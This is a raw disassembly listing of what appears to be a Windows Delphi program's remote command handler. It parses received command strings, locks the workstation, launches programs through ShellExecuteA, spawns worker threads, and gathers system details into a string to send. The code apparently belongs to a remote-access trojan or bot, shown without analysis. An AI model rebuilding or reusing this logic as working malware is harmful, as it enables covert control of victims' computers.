mov edx, 0x49c294
call fcn.00405894
jne 0x4979d7
xor eax, eax
push ebp
push 0x4979cd
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x22
lea edx, [ebp - 0x4d8]
mov eax, dword [0x48261c]
call fcn.00482674
mov eax, dword [ebp - 0x4d8]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040704c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4979d7
mov eax, dword [ebp - 8]
mov edx, 0x49c2a4
call fcn.00405894
jne 0x497a2b
xor eax, eax
push ebp
push 0x497a21
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
lea edx, [ebp - 0x4dc]
mov eax, dword [0x48261c]
call fcn.00482674
mov eax, dword [ebp - 0x4dc]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040704c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x497a2b
mov eax, dword [ebp - 8]
mov edx, 0x49c2b8
call fcn.00405894
jne 0x497a7d
xor eax, eax
push ebp
push 0x497a73
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x4e0]
mov eax, dword [0x48261c]
call fcn.00482674
mov eax, dword [ebp - 0x4e0]
push eax
mov eax, dword [eax]
call dword [eax + 0x3c]
call fcn.0040704c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x497a7d
mov eax, dword [ebp - 8]
mov edx, 0x49c2cc
call fcn.00405894
jne 0x497c87
lea eax, [ebp - 0x4e4]
call fcn.00405c48
push eax
lea edx, [ebp - 0x4e8]
mov eax, dword [0x48261c]
call fcn.00482674
mov eax, dword [ebp - 0x4e8]
push eax
mov eax, dword [eax]
call dword [eax + 0x90]
call fcn.0040704c
mov edx, dword [ebp - 0x4e4]
lea eax, [ebp - 0xc]
call fcn.004056f4
lea eax, [ebp - 0x4ec]
call fcn.00405c48
push eax
lea edx, [ebp - 0x4f0]
mov eax, dword [0x48261c]
call fcn.00482674
mov eax, dword [ebp - 0x4f0]
push eax
mov eax, dword [eax]
call dword [eax + 0x24]
call fcn.0040704c
mov edx, dword [ebp - 0x4ec]
lea eax, [ebp - 0x10]
call fcn.004056f4
call fcn.004826e0
cmp al, 1
jne 0x497b4d
lea eax, [ebp - 0x4f4]
call fcn.00405c48
push eax
lea edx, [ebp - 0x4f8]
mov eax, dword [0x48261c]
call fcn.00482674
mov eax, dword [ebp - 0x4f8]
push eax
mov eax, dword [eax]
call dword [eax + 0x6c]
call fcn.0040704c
mov edx, dword [ebp - 0x4f4]
lea eax, [ebp - 0x14]
call fcn.004056f4
call fcn.004826e0
cmp al, 1
jne 0x497b91
lea eax, [ebp - 0x4fc]
call fcn.00405c48
push eax
lea edx, [ebp - 0x500]
mov eax, dword [0x48261c]
call fcn.00482674
mov eax, dword [ebp - 0x500]
push eax
mov eax, dword [eax]
call dword [eax + 0x70]
call fcn.0040704c
mov edx, dword [ebp - 0x4fc]
lea eax, [ebp - 0x18]
call fcn.004056f4
lea eax, [ebp - 0x504]
call fcn.00405c48
push eax
lea edx, [ebp - 0x508]
mov eax, dword [0x48261c]
call fcn.00482674
mov eax, dword [ebp - 0x508]
push eax
mov eax, dword [eax]
call dword [eax + 0x80]
call fcn.0040704c
mov edx, dword [ebp - 0x504]
lea eax, [ebp - 0x1c]
call fcn.004056f4
cmp dword [ebp - 0xc], 0
jne 0x497be2
lea eax, [ebp - 0xc]
mov edx, 0x49c2e0
call fcn.00405504
cmp dword [ebp - 0x10], 0
jne 0x497bf5
lea eax, [ebp - 0x10]
mov edx, 0x49c2e0
call fcn.00405504
cmp dword [ebp - 0x14], 0
jne 0x497c08
lea eax, [ebp - 0x14]
mov edx, 0x49c2e0
call fcn.00405504
cmp dword [ebp - 0x18], 0
jne 0x497c1b
lea eax, [ebp - 0x18]
mov edx, 0x49c2e0
call fcn.00405504
cmp dword [ebp - 0x1c], 0
jne 0x497c2e
lea eax, [ebp - 0x1c]
mov edx, 0x49c2e0
call fcn.00405504
push 0x49c2ec
push dword [ebp - 0xc]
push 0x49b8bc
push dword [ebp - 0x10]
push 0x49b8bc
push dword [ebp - 0x14]
push 0x49b8bc
push dword [ebp - 0x18]
push 0x49b8bc
push dword [ebp - 0x1c]
push 0x49b8bc
lea eax, [ebp - 0x510]
call fcn.0048277c
push dword [ebp - 0x510]
lea eax, [ebp - 0x50c]
mov edx, 0xc
call fcn.00405800
mov eax, dword [ebp - 0x50c]
call fcn.004938a4
lea eax, [ebp - 0x514]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x514]
mov edx, 0x49c2fc
call fcn.00405894
jne 0x497d6b
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.00405504
push ebp
lea eax, [ebp - 0x518]
call fcn.00482a00
mov eax, dword [ebp - 0x518]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00493ce0
pop ecx
lea eax, [ebp - 0x51c]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x51c]
mov edx, 0x49c310
call fcn.00405894
jne 0x497db9
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.004059a4
call fcn.004826e0
cmp al, 1
jne 0x497db9
mov eax, dword [ebp - 8]
call fcn.00482d88
lea eax, [ebp - 0x520]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x520]
mov edx, 0x49c324
call fcn.00405894
jne 0x497e07
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.004059a4
call fcn.004826e0
cmp al, 1
jne 0x497e07
mov eax, dword [ebp - 8]
call fcn.00482980
lea eax, [ebp - 0x524]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x524]
mov edx, 0x49c338
call fcn.00405894
jne 0x497e55
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.004059a4
call fcn.004826e0
cmp al, 1
jne 0x497e55
mov eax, dword [ebp - 8]
call fcn.00482ed4
lea eax, [ebp - 0x528]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x528]
mov edx, 0x49c350
call fcn.00405894
jne 0x497ea3
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.004059a4
call fcn.004826e0
cmp al, 1
jne 0x497ea3
mov eax, dword [ebp - 8]
call fcn.00483020
lea eax, [ebp - 0x52c]
push eax
mov ecx, 0x15
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x52c]
mov edx, 0x49c368
call fcn.00405894
jne 0x497f37
lea eax, [ebp - 8]
mov ecx, 0x15
mov edx, 1
call fcn.004059a4
mov eax, dword [0x4a4e80]
mov dword [eax], 1
mov eax, dword [0x4a4fc0]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
mov eax, dword [0x4a4ffc]
mov edx, dword [ebp - 8]
call fcn.004054c0
mov eax, dword [ebp - 8]
mov edx, 0x49c388
call fcn.00405894
jne 0x497f4f
mov eax, dword [0x4a4e80]
xor edx, edx
mov dword [eax], edx
lea eax, [ebp - 0x530]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x530]
mov edx, 0x49c3a8
call fcn.00405894
jne 0x49802b
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.004059a4
mov eax, dword [0x4a4ccc]
cmp dword [eax], 1
jne 0x497fa4
mov eax, 0x49c3c0
call fcn.004938a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.00405504
push ebp
lea eax, [ebp - 0x538]
call fcn.0048d2c8
lea eax, [ebp - 0x538]
mov edx, 0x49c3d4
call fcn.00405738
mov eax, dword [ebp - 0x538]
lea edx, [ebp - 0x534]
call fcn.00487e74
mov eax, dword [ebp - 0x534]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.00493ce0
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x49c3e4
call fcn.00405894
jne 0x498065
mov eax, dword [0x4a4ccc]
cmp dword [eax], 1
je 0x498065
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x4890a8
push 0
push 0
call sub.kernel32.dll_CreateThread
mov eax, dword [0x4a4ccc]
mov dword [eax], 1
mov eax, dword [ebp - 8]
mov edx, 0x49c404
call fcn.00405894
jne 0x49807d
mov eax, dword [0x4a4ccc]
xor edx, edx
mov dword [eax], edx
mov eax, dword [ebp - 8]
mov edx, 0x49c428
call fcn.00405894
jne 0x498097
mov eax, dword [0x4a4e80]
mov dword [eax], 1
mov eax, dword [ebp - 8]
mov edx, 0x49c448
call fcn.00405894
jne 0x4980af
mov eax, dword [0x4a4e80]
xor edx, edx
mov dword [eax], edx
lea eax, [ebp - 0x53c]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x53c]
mov edx, 0x49c46c
call fcn.00405894
jne 0x498207
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.00405504
lea eax, [ebp - 0x544]
call fcn.0048d2c8
push dword [ebp - 0x544]
push 0x49c3d4
push dword [ebp - 0xc]
lea eax, [ebp - 0x540]
mov edx, 3
call fcn.00405800
mov eax, dword [ebp - 0x540]
call fcn.0040a168
test al, al
jne 0x4981ba
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49b71b
push ebp
lea eax, [ebp - 0x550]
call fcn.0048d2c8
push dword [ebp - 0x550]
push 0x49c3d4
push dword [ebp - 0xc]
lea eax, [ebp - 0x54c]
mov edx, 3
call fcn.00405800
mov eax, dword [ebp - 0x54c]
lea edx, [ebp - 0x548]
call fcn.0048e0b0
mov eax, dword [ebp - 0x548]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00493ce0
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x49c484
call fcn.00405894
jne 0x498220
mov eax, 0x11
call fcn.0048d8a4
mov eax, dword [ebp - 8]
mov edx, 0x49c498
call fcn.00405894
jne 0x498239
mov eax, 0x12
call fcn.0048d8a4
mov eax, dword [ebp - 8]
mov edx, 0x49c4ac
call fcn.00405894
jne 0x498252
mov eax, 0x10
call fcn.0048d8a4
mov eax, dword [ebp - 8]
mov edx, 0x49c4c0
call fcn.00405894
jne 0x49826b
mov eax, 0x18
call fcn.0048d8a4
mov eax, dword [ebp - 8]
mov edx, 0x49c4d4
call fcn.00405894
jne 0x49828d
push 0
push 0xf140
push 0x112
push 0
call sub.user32.dll_SendMessageA
mov eax, dword [ebp - 8]
mov edx, 0x49c4e8
call fcn.00405894
jne 0x4982a1
call sub.user32.dll_LockWorkStation
lea eax, [ebp - 0x554]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x554]
mov edx, 0x49c4fc
call fcn.00405894
jne 0x498583
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.00405504
lea eax, [ebp - 0x558]
mov edx, dword [0x4a4f7c]
mov edx, dword [edx]
call fcn.00405664
push dword [ebp - 0x558]
push 0x49bd78
lea edx, [ebp - 0x55c]
mov eax, dword [0x4a4dbc]
movzx eax, word [eax]
call fcn.00409c6c
push dword [ebp - 0x55c]
push 0x49bd78
lea eax, [ebp - 0x560]
call fcn.0048c9f8
push dword [ebp - 0x560]
push 0x49bd78
lea eax, [ebp - 0x564]
call fcn.0048c1cc
push dword [ebp - 0x564]
push 0x49bc34
lea eax, [ebp - 0x568]
call fcn.0048c190
push dword [ebp - 0x568]
push 0x49bd78
lea eax, [ebp - 0x56c]
call fcn.0048c718
push dword [ebp - 0x56c]
push 0x49bd78
lea eax, [ebp - 0x570]
call fcn.0048b048
push dword [ebp - 0x570]
push 0x49bd78
push 0x49c510
push 0x49bd78
lea eax, [ebp - 0x574]
call fcn.0048c270
push dword [ebp - 0x574]
push 0x49bd78
lea eax, [ebp - 0x578]
call fcn.0048c434
push dword [ebp - 0x578]
push 0x49bd78
lea eax, [ebp - 0x57c]
call fcn.0048c4e4
push dword [ebp - 0x57c]
push 0x49bd78
lea eax, [ebp - 0x580]
call fcn.0048c590
push dword [ebp - 0x580]
push 0x49bd78
lea eax, [ebp - 0x584]
call fcn.0048c650
push dword [ebp - 0x584]
push 0x49bd78
lea eax, [ebp - 0x588]
call fcn.0048ca28
push dword [ebp - 0x588]
push 0x49bd78
lea eax, [ebp - 0x58c]
call fcn.0048ca58
push dword [ebp - 0x58c]
push 0x49bd78
lea eax, [ebp - 0x590]
call fcn.0048cd44
push dword [ebp - 0x590]
push 0x49bd78
lea eax, [ebp - 0x598]
call fcn.0048b764
mov eax, dword [ebp - 0x598]
lea edx, [ebp - 0x594]
call fcn.0048cddc
push dword [ebp - 0x594]
push 0x49bd78
lea edx, [ebp - 0x59c]
xor eax, eax
call fcn.0040f130
push dword [ebp - 0x59c]
push 0x49bd78
mov eax, dword [0x4a5034]
push dword [eax]
push 0x49bd78
mov eax, dword [0x4a4ce0]
push dword [eax]
push 0x49bd78
lea edx, [ebp - 0x5a0]
mov eax, dword [0x4a4ec4]
mov eax, dword [eax]
call fcn.0048f1dc
push dword [ebp - 0x5a0]
push 0x49bd78
lea eax, [ebp - 0x5a4]
call fcn.0048f26c
push dword [ebp - 0x5a4]
push 0x49bd78
lea eax, [ebp - 0x5a8]
call fcn.004901c4
push dword [ebp - 0x5a8]
lea eax, [ebp - 0xc]
mov edx, 0x2d
call fcn.00405800
push ebp
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
call fcn.00493ce0
pop ecx
lea eax, [ebp - 0x5ac]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x5ac]
mov edx, 0x49c51c
call fcn.00405894
jne 0x4985db
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.004059a4
push 5
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004058fc
push eax
push 0x49ba84
push 0
call sub.shell32.dll_ShellExecuteA
lea eax, [ebp - 0x5b0]
push eax
mov ecx, 0x11
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x5b0]
mov edx, 0x49c530
call fcn.00405894
jne 0x4987c0
lea eax, [ebp - 8]
mov ecx, 0x11
mov edx, 1
call fcn.004059a4
mov dl, 1
mov eax, dword [0x417608]
call fcn.00404610
mov dword [ebp - 0x1b4], eax
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1b4]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
xor eax, eax
push ebp
push 0x4987b9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x1b4]
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x4987a0
inc ebx
xor esi, esi
lea ecx, [ebp - 0x1c]
mov edx, esi
mov eax, dword [ebp - 0x1b4]
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.00405964
mov edx, dword [ebp - 0x1c]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 0x1c]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.00405964
mov edx, dword [ebp - 0x1c]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 0x1c]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.00405964
mov edx, dword [ebp - 0x1c]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 0x1c]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
call fcn.00405504
push 0x10
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x1a4]
mov edi, eax
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.004054c0
lea eax, [edi + 4]
mov edx, dword [ebp - 0x10]
call fcn.004054c0
lea eax, [edi + 8]
mov edx, dword [ebp - 0x14]
call fcn.004054c0
lea eax, [edi + 0xc]
mov edx, dword [ebp - 0x18]
call fcn.004054c0
lea eax, [ebp - 4]
push eax
push 0
mov eax, dword [ebp - 0x1a4]
push eax
push 0x4935c8
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
inc esi
dec ebx
jne 0x498663
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4987c0
mov eax, dword [ebp - 0x1b4]
call fcn.00404640
ret
lea eax, [ebp - 0x5b4]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x5b4]
mov edx, 0x49c54c
call fcn.00405894
jne 0x4988b0
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.00405504
push 0x10
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov dword [ebp - 0x1a4], eax
mov eax, dword [ebp - 0x1a4]
mov ebx, eax
mov eax, ebx
mov edx, dword [ebp - 0xc]
call fcn.004054c0
lea eax, [ebx + 4]
mov edx, dword [ebp - 0x10]
call fcn.004054c0
lea eax, [ebx + 8]
mov edx, 0x49b9c4
call fcn.004054c0
lea eax, [ebx + 0xc]
mov edx, 0x49c264
call fcn.004054c0
lea eax, [ebp - 4]
push eax
push 0
mov eax, dword [ebp - 0x1a4]
push eax
push 0x4935c8
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
lea eax, [ebp - 0x5b8]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x5b8]
mov edx, 0x49c564
call fcn.00405894
jne 0x498a4e
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x18]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 8]
call fcn.00405504
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov esi, ebx
mov eax, esi
mov edx, dword [ebp - 0xc]
call fcn.004054c0
lea eax, [esi + 4]
mov edx, dword [ebp - 0x10]
call fcn.004054c0
lea eax, [esi + 8]
mov edx, dword [ebp - 0x14]
call fcn.004054c0
lea eax, [esi + 0xc]
mov edx, dword [ebp - 0x18]
call fcn.004054c0
lea eax, [esi + 0x10]
mov edx, dword [ebp - 0x1c]
call fcn.004054c0
lea eax, [ebp - 4]
push eax
push 0
push ebx
push 0x491220
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
lea eax, [ebp - 0x5bc]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x5bc]
mov edx, 0x49c578
call fcn.00405894
jne 0x498aed
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x5c0]
call fcn.0048d2c8
lea eax, [ebp - 0x5c0]
mov edx, 0x49c58c
call fcn.00405738
mov edx, dword [ebp - 0x5c0]
mov eax, dword [ebp - 8]
call fcn.0048e158
push 0
push 0
push 0
lea eax, [ebp - 0x5c4]
call fcn.0048d2c8
lea eax, [ebp - 0x5c4]
mov edx, 0x49c58c
call fcn.00405738
mov eax, dword [ebp - 0x5c4]
call fcn.004058fc
push eax
push 0x49c59c
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 8]
mov edx, 0x49c5ac
call fcn.00405894
jne 0x498ba2
xor eax, eax
push ebp
push 0x498b98
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x5c8]
call fcn.00481b68
cmp dword [ebp - 0x5c8], 0
je 0x498b4e
lea eax, [ebp - 0x5d0]
call fcn.00481b68
mov ecx, dword [ebp - 0x5d0]
lea eax, [ebp - 0x5cc]
mov edx, 0x49c5c8
call fcn.00405784
mov eax, dword [ebp - 0x5cc]
call fcn.004938a4
lea eax, [ebp - 0x5d4]
call fcn.00481b94
cmp dword [ebp - 0x5d4], 0
je 0x498b8e
lea eax, [ebp - 0x5dc]
call fcn.00481b94
mov ecx, dword [ebp - 0x5dc]
lea eax, [ebp - 0x5d8]
mov edx, 0x49c5dc
call fcn.00405784
mov eax, dword [ebp - 0x5d8]
call fcn.004938a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x498ba2
mov eax, dword [ebp - 8]
mov edx, 0x49c5f0
call fcn.00405894
jne 0x498bdd
lea eax, [ebp - 0x5e4]
call fcn.00481b68
mov ecx, dword [ebp - 0x5e4]
lea eax, [ebp - 0x5e0]
mov edx, 0x49c60c
call fcn.00405784
mov eax, dword [ebp - 0x5e0]
call fcn.004938a4
lea eax, [ebp - 0x5e8]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x5e8]
mov edx, 0x49c620
call fcn.00405894
jne 0x498c78
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.004059a4
xor eax, eax
push ebp
push 0x498c6e
push dword fs:[eax]
mov dword fs:[eax], esp
movzx eax, byte [0x49b98c]
push eax
lea eax, [ebp - 0x5ec]
push eax
mov ecx, 0x49c634
mov edx, 0x49c640
mov eax, dword [ebp - 8]
call fcn.0040ee40
mov edx, dword [ebp - 0x5ec]
lea eax, [ebp - 8]
call fcn.00405504
call fcn.0047e684
mov edx, dword [ebp - 8]
call fcn.0047e20c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x498c78
mov eax, dword [ebp - 8]
mov edx, 0x49c64c
call fcn.00405894
jne 0x498cb3
xor eax, eax
push ebp
push 0x498ca9
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0047e684
mov edx, dword [eax]
call dword [edx + 0x10]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x498cb3
lea eax, [ebp - 0x5f0]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x5f0]
mov edx, 0x49c65c
call fcn.00405894
jne 0x498d97
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.00405504
push ebp
lea eax, [ebp - 0x5f4]
call fcn.004819c0
mov eax, dword [ebp - 0x5f4]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00493ce0
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x49c670
call fcn.00405894
jne 0x498e36
xor eax, eax
push ebp
push 0x498e1a
